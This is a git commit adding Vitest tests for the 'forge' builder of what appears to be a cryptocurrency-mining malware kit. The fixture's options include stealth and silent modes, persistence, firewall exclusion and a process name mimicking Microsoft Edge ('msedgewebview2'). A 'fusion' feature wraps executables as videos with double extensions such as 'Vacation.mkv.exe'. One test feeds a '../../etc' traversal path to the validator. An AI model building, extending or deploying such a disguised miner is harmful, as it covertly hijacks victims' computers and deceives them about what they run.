Add full test suite with unit, integration, and E2E smoke tests.
Introduce test.bat orchestrating Go/Vitest/Playwright phases, expand coverage across server, agent, and dashboard, and document in tests/README.md.
This commit is contained in:
73
server/web/src/help/forgePreflight.test.ts
Normal file
73
server/web/src/help/forgePreflight.test.ts
Normal file
@@ -0,0 +1,73 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { preflightHasErrors, runForgePreflight } from './forgeValidation';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
const baseForm = (): BuildRequest => ({
|
||||
worker_name: 'pc-lab-1',
|
||||
server_url: 'http://192.168.1.10:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
threads: 4,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'normal',
|
||||
mining_mode: 'always',
|
||||
display_mode: 'normal',
|
||||
silent_mode: false,
|
||||
run_as: 'current',
|
||||
auto_start: true,
|
||||
persistence: false,
|
||||
process_name: 'msedgewebview2',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 80,
|
||||
min_free_ram_mb: 512,
|
||||
idle_threshold_pct: 10,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '',
|
||||
schedule_end: '',
|
||||
install_base: 'appdata',
|
||||
install_custom_base: '',
|
||||
install_relative_path: '',
|
||||
adapt_to_hardware: true,
|
||||
self_healing: true,
|
||||
file_logging: false,
|
||||
stealth_mode: false,
|
||||
firewall_exclusion: false,
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: '',
|
||||
ai_model: '',
|
||||
output_dir: '',
|
||||
});
|
||||
|
||||
describe('runForgePreflight', () => {
|
||||
it('passes valid LAN forge form', () => {
|
||||
const checks = runForgePreflight(baseForm(), false);
|
||||
expect(preflightHasErrors(checks)).toBe(false);
|
||||
});
|
||||
|
||||
it('errors on localhost server URL', () => {
|
||||
const form = { ...baseForm(), server_url: 'http://localhost:8989' };
|
||||
const checks = runForgePreflight(form, false);
|
||||
expect(preflightHasErrors(checks)).toBe(true);
|
||||
expect(checks.some((c) => c.id === 'server' && c.level === 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when fusion enabled without prep', () => {
|
||||
const form = { ...baseForm(), fusion_enabled: true };
|
||||
const checks = runForgePreflight(form, false);
|
||||
expect(preflightHasErrors(checks)).toBe(true);
|
||||
expect(checks.some((c) => c.id === 'fusion')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors on traversal output_dir', () => {
|
||||
const form = { ...baseForm(), output_dir: '../../etc' };
|
||||
const checks = runForgePreflight(form, false);
|
||||
expect(preflightHasErrors(checks)).toBe(true);
|
||||
});
|
||||
});
|
||||
25
server/web/src/help/fusionMedia.test.ts
Normal file
25
server/web/src/help/fusionMedia.test.ts
Normal file
@@ -0,0 +1,25 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
defaultEmbeddedName,
|
||||
defaultRunnerName,
|
||||
fusionTitleFromFilename,
|
||||
isFusionVideoFile,
|
||||
} from './fusionMedia';
|
||||
|
||||
describe('fusionMedia', () => {
|
||||
it('detects video extensions', () => {
|
||||
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
|
||||
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
|
||||
expect(isFusionVideoFile(null)).toBe(false);
|
||||
});
|
||||
|
||||
it('derives title from filename', () => {
|
||||
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
||||
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
||||
});
|
||||
|
||||
it('builds default runner and embedded names', () => {
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
|
||||
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user